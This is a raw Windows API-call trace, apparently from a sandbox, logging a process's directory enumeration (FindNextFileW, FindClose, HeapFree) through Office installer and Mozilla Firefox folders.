	[0085.600] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0
	[0085.600] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0085.601] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.601] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1
	[0085.601] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0085.601] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1
	[0085.603] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.603] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1
	[0085.603] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.603] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1
	[0085.607] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.608] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1
	[0085.611] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.611] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1
	[0085.612] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.612] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0
	[0085.612] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0085.612] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0085.612] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", cAlternateFileName="")) returned 1
	[0085.612] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.612] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1
	[0085.612] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0085.612] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0
	[0085.613] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0085.613] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.613] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0
	[0085.613] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0085.613] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0085.613] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1
	[0085.623] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0085.624] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0
	[0085.624] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0085.624] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0085.624] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
	[0085.625] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0085.625] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0085.626] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0
	[0085.626] FindClose (in: hFindFile=0x812008 | out: hFindFile=0x812008) returned 1
	[0085.626] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0085.627] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 0
	[0085.627] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0085.627] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0085.627] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6c454d7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6c454d7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1
	[0085.627] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0085.627] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe170ede0, ftCreationTime.dwHighDateTime=0x1d5d20d, ftLastAccessTime.dwLowDateTime=0x34bfab10, ftLastAccessTime.dwHighDateTime=0x1d5d53f, ftLastWriteTime.dwLowDateTime=0x34bfab10, ftLastWriteTime.dwHighDateTime=0x1d5d53f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1
	[0085.627] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0085.627] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa7154510, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf7d369cb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0085.650] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0085.650] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="features", cAlternateFileName="")) returned 1
	[0085.652] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0085.652] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="omni.ja", cAlternateFileName="")) returned 1
	[0085.652] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0085.652] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0
	[0085.652] FindClose (in: hFindFile=0x811c48 | out: hFindFile=0x811c48) returned 1
	[0085.653] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.653] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1
	[0085.653] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0085.653] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pref", cAlternateFileName="")) returned 0
	[0085.653] FindClose (in: hFindFile=0x811c48 | out: hFindFile=0x811c48) returned 1
	[0085.653] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.653] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1
	[0085.654] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.654] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1
	[0085.654] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.654] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1
	[0085.654] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0085.654] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0.1", cAlternateFileName="")) returned 0
	[0085.654] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0085.654] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0085.654] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1
	[0086.088] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef639ad2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0086.088] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac873b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecac873b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d3bb980, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xd9c28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="helper.exe", cAlternateFileName="")) returned 1
	[0086.089] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef639ad2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef875ed7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shortcuts_log.ini", cAlternateFileName="SHORTC~1.INI")) returned 1
	[0086.089] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe9d2ec34, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf7ad4356, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xeea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 1
	[0086.089] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe9d2ec34, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf7ad4356, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xeea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 0
	[0086.089] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0086.089] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0086.089] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1
	[0086.089] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8eed9d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x579d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.exe", cAlternateFileName="")) returned 1
	[0086.089] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec64ff52, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec64ff52, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1
